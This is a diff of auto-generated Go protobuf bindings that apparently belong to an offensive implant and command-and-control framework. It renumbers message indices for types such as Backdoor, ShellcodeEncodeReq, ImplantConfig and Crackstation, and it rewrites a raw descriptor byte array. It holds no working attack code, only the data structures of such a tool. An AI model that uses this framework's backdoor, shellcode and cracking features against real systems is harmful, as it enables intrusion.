([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{82} + return file_clientpb_client_proto_rawDescGZIP(), []int{84} } func (x *Backdoor) GetResponse() *commonpb.Response { @@ -7127,7 +7277,7 @@ type ShellcodeEncodeReq struct { func (x *ShellcodeEncodeReq) Reset() { *x = ShellcodeEncodeReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7140,7 +7290,7 @@ func (x *ShellcodeEncodeReq) String() string { func (*ShellcodeEncodeReq) ProtoMessage() {} func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7153,7 +7303,7 @@ func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead. func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{83} + return file_clientpb_client_proto_rawDescGZIP(), []int{85} } func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder { @@ -7210,7 +7360,7 @@ type ShellcodeEncode struct { func (x *ShellcodeEncode) Reset() { *x = ShellcodeEncode{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7223,7 +7373,7 @@ func (x *ShellcodeEncode) String() string { func (*ShellcodeEncode) ProtoMessage() {} func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7236,7 +7386,7 @@ func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead. func (*ShellcodeEncode) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{84} + return file_clientpb_client_proto_rawDescGZIP(), []int{86} } func (x *ShellcodeEncode) GetData() []byte { @@ -7264,7 +7414,7 @@ type ShellcodeEncoderMap struct { func (x *ShellcodeEncoderMap) Reset() { *x = ShellcodeEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7277,7 +7427,7 @@ func (x *ShellcodeEncoderMap) String() string { func (*ShellcodeEncoderMap) ProtoMessage() {} func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7290,7 +7440,7 @@ func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead. func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{85} + return file_clientpb_client_proto_rawDescGZIP(), []int{87} } func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder { @@ -7312,7 +7462,7 @@ type ExternalGenerateReq struct { func (x *ExternalGenerateReq) Reset() { *x = ExternalGenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7325,7 +7475,7 @@ func (x *ExternalGenerateReq) String() string { func (*ExternalGenerateReq) ProtoMessage() {} func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7338,7 +7488,7 @@ func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalGenerateReq.ProtoReflect.Descriptor instead. func (*ExternalGenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{86} + return file_clientpb_client_proto_rawDescGZIP(), []int{88} } func (x *ExternalGenerateReq) GetConfig() *ImplantConfig { @@ -7366,7 +7516,7 @@ type Builders struct { func (x *Builders) Reset() { *x = Builders{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7379,7 +7529,7 @@ func (x *Builders) String() string { func (*Builders) ProtoMessage() {} func (x *Builders) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7392,7 +7542,7 @@ func (x *Builders) ProtoReflect() protoreflect.Message { // Deprecated: Use Builders.ProtoReflect.Descriptor instead. func (*Builders) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{87} + return file_clientpb_client_proto_rawDescGZIP(), []int{89} } func (x *Builders) GetBuilders() []*Builder { @@ -7419,7 +7569,7 @@ type Builder struct { func (x *Builder) Reset() { *x = Builder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7432,7 +7582,7 @@ func (x *Builder) String() string { func (*Builder) ProtoMessage() {} func (x *Builder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7445,7 +7595,7 @@ func (x *Builder) ProtoReflect() protoreflect.Message { // Deprecated: Use Builder.ProtoReflect.Descriptor instead. func (*Builder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{88} + return file_clientpb_client_proto_rawDescGZIP(), []int{90} } func (x *Builder) GetName() string { @@ -7515,7 +7665,7 @@ type Credential struct { func (x *Credential) Reset() { *x = Credential{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7528,7 +7678,7 @@ func (x *Credential) String() string { func (*Credential) ProtoMessage() {} func (x *Credential) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7541,7 +7691,7 @@ func (x *Credential) ProtoReflect() protoreflect.Message { // Deprecated: Use Credential.ProtoReflect.Descriptor instead. func (*Credential) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{89} + return file_clientpb_client_proto_rawDescGZIP(), []int{91} } func (x *Credential) GetID() string { @@ -7611,7 +7761,7 @@ type Credentials struct { func (x *Credentials) Reset() { *x = Credentials{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7624,7 +7774,7 @@ func (x *Credentials) String() string { func (*Credentials) ProtoMessage() {} func (x *Credentials) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7637,7 +7787,7 @@ func (x *Credentials) ProtoReflect() protoreflect.Message { // Deprecated: Use Credentials.ProtoReflect.Descriptor instead. func (*Credentials) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{90} + return file_clientpb_client_proto_rawDescGZIP(), []int{92} } func (x *Credentials) GetCredentials() []*Credential { @@ -7659,7 +7809,7 @@ type Crackstations struct { func (x *Crackstations) Reset() { *x = Crackstations{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7672,7 +7822,7 @@ func (x *Crackstations) String() string { func (*Crackstations) ProtoMessage() {} func (x *Crackstations) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7685,7 +7835,7 @@ func (x *Crackstations) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstations.ProtoReflect.Descriptor instead. func (*Crackstations) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{91} + return file_clientpb_client_proto_rawDescGZIP(), []int{93} } func (x *Crackstations) GetCrackstations() []*Crackstation { @@ -7711,7 +7861,7 @@ type CrackstationStatus struct { func (x *CrackstationStatus) Reset() { *x = CrackstationStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7724,7 +7874,7 @@ func (x *CrackstationStatus) String() string { func (*CrackstationStatus) ProtoMessage() {} func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7737,7 +7887,7 @@ func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackstationStatus.ProtoReflect.Descriptor instead. func (*CrackstationStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{92} + return file_clientpb_client_proto_rawDescGZIP(), []int{94} } func (x *CrackstationStatus) GetName() string { @@ -7794,7 +7944,7 @@ type CrackSyncStatus struct { func (x *CrackSyncStatus) Reset() { *x = CrackSyncStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7807,7 +7957,7 @@ func (x *CrackSyncStatus) String() string { func (*CrackSyncStatus) ProtoMessage() {} func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7820,7 +7970,7 @@ func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackSyncStatus.ProtoReflect.Descriptor instead. func (*CrackSyncStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{93} + return file_clientpb_client_proto_rawDescGZIP(), []int{95} } func (x *CrackSyncStatus) GetSpeed() float32 { @@ -7850,7 +8000,7 @@ type CrackBenchmark struct { func (x *CrackBenchmark) Reset() { *x = CrackBenchmark{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7863,7 +8013,7 @@ func (x *CrackBenchmark) String() string { func (*CrackBenchmark) ProtoMessage() {} func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7876,7 +8026,7 @@ func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackBenchmark.ProtoReflect.Descriptor instead. func (*CrackBenchmark) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{94} + return file_clientpb_client_proto_rawDescGZIP(), []int{96} } func (x *CrackBenchmark) GetName() string { @@ -7917,7 +8067,7 @@ type CrackTask struct { func (x *CrackTask) Reset() { *x = CrackTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7930,7 +8080,7 @@ func (x *CrackTask) String() string { func (*CrackTask) ProtoMessage() {} func (x *CrackTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7943,7 +8093,7 @@ func (x *CrackTask) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackTask.ProtoReflect.Descriptor instead. func (*CrackTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{95} + return file_clientpb_client_proto_rawDescGZIP(), []int{97} } func (x *CrackTask) GetID() string { @@ -8016,7 +8166,7 @@ type Crackstation struct { func (x *Crackstation) Reset() { *x = Crackstation{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8029,7 +8179,7 @@ func (x *Crackstation) String() string { func (*Crackstation) ProtoMessage() {} func (x *Crackstation) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8042,7 +8192,7 @@ func (x *Crackstation) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstation.ProtoReflect.Descriptor instead. func (*Crackstation) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{96} + return file_clientpb_client_proto_rawDescGZIP(), []int{98} } func (x *Crackstation) GetName() string { @@ -8142,7 +8292,7 @@ type CUDABackendInfo struct { func (x *CUDABackendInfo) Reset() { *x = CUDABackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8155,7 +8305,7 @@ func (x *CUDABackendInfo) String() string { func (*CUDABackendInfo) ProtoMessage() {} func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8168,7 +8318,7 @@ func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use CUDABackendInfo.ProtoReflect.Descriptor instead. func (*CUDABackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{97} + return file_clientpb_client_proto_rawDescGZIP(), []int{99} } func (x *CUDABackendInfo) GetType() string { @@ -8262,7 +8412,7 @@ type OpenCLBackendInfo struct { func (x *OpenCLBackendInfo) Reset() { *x = OpenCLBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8275,7 +8425,7 @@ func (x *OpenCLBackendInfo) String() string { func (*OpenCLBackendInfo) ProtoMessage() {} func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8288,7 +8438,7 @@ func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use OpenCLBackendInfo.ProtoReflect.Descriptor instead. func (*OpenCLBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{98} + return file_clientpb_client_proto_rawDescGZIP(), []int{100} } func (x *OpenCLBackendInfo) GetType() string { @@ -8388,7 +8538,7 @@ type MetalBackendInfo struct { func (x *MetalBackendInfo) Reset() { *x = MetalBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8401,7 +8551,7 @@ func (x *MetalBackendInfo) String() string { func (*MetalBackendInfo) ProtoMessage() {} func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8414,7 +8564,7 @@ func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use MetalBackendInfo.ProtoReflect.Descriptor instead. func (*MetalBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{99} + return file_clientpb_client_proto_rawDescGZIP(), []int{101} } func (x *MetalBackendInfo) GetType() string { @@ -8612,7 +8762,7 @@ type CrackCommand struct { func (x *CrackCommand) Reset() { *x = CrackCommand{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8625,7 +8775,7 @@ func (x *CrackCommand) String() string { func (*CrackCommand) ProtoMessage() {} func (x *CrackCommand) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8638,7 +8788,7 @@ func (x *CrackCommand) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackCommand.ProtoReflect.Descriptor instead. func (*CrackCommand) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{100} + return file_clientpb_client_proto_rawDescGZIP(), []int{102} } func (x *CrackCommand) GetAttackMode() CrackAttackMode { @@ -9369,7 +9519,7 @@ type CrackConfig struct { func (x *CrackConfig) Reset() { *x = CrackConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9382,7 +9532,7 @@ func (x *CrackConfig) String() string { func (*CrackConfig) ProtoMessage() {} func (x *CrackConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9395,7 +9545,7 @@ func (x *CrackConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackConfig.ProtoReflect.Descriptor instead. func (*CrackConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{101} + return file_clientpb_client_proto_rawDescGZIP(), []int{103} } func (x *CrackConfig) GetAutoFire() bool { @@ -9439,7 +9589,7 @@ type CrackFiles struct { func (x *CrackFiles) Reset() { *x = CrackFiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9452,7 +9602,7 @@ func (x *CrackFiles) String() string { func (*CrackFiles) ProtoMessage() {} func (x *CrackFiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9465,7 +9615,7 @@ func (x *CrackFiles) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFiles.ProtoReflect.Descriptor instead. func (*CrackFiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{102} + return file_clientpb_client_proto_rawDescGZIP(), []int{104} } func (x *CrackFiles) GetFiles() []*CrackFile { @@ -9510,7 +9660,7 @@ type CrackFile struct { func (x *CrackFile) Reset() { *x = CrackFile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[103] + mi := &file_clientpb_client_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9523,7 +9673,7 @@ func (x *CrackFile) String() string { func (*CrackFile) ProtoMessage() {} func (x *CrackFile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[103] + mi := &file_clientpb_client_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9536,7 +9686,7 @@ func (x *CrackFile) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFile.ProtoReflect.Descriptor instead. func (*CrackFile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{103} + return file_clientpb_client_proto_rawDescGZIP(), []int{105} } func (x *CrackFile) GetID() string { @@ -9630,7 +9780,7 @@ type CrackFileChunk struct { func (x *CrackFileChunk) Reset() { *x = CrackFileChunk{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[104] + mi := &file_clientpb_client_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9643,7 +9793,7 @@ func (x *CrackFileChunk) String() string { func (*CrackFileChunk) ProtoMessage() {} func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[104] + mi := &file_clientpb_client_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9656,7 +9806,7 @@ func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFileChunk.ProtoReflect.Descriptor instead. func (*CrackFileChunk) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{104} + return file_clientpb_client_proto_rawDescGZIP(), []int{106} } func (x *CrackFileChunk) GetID() string { @@ -10075,633 +10225,614 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, - 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, - 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, - 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, - 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, - 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, - 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, - 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, - 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, - 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, - 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, - 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x55, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, - 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x63, 0x6c, 0x69, 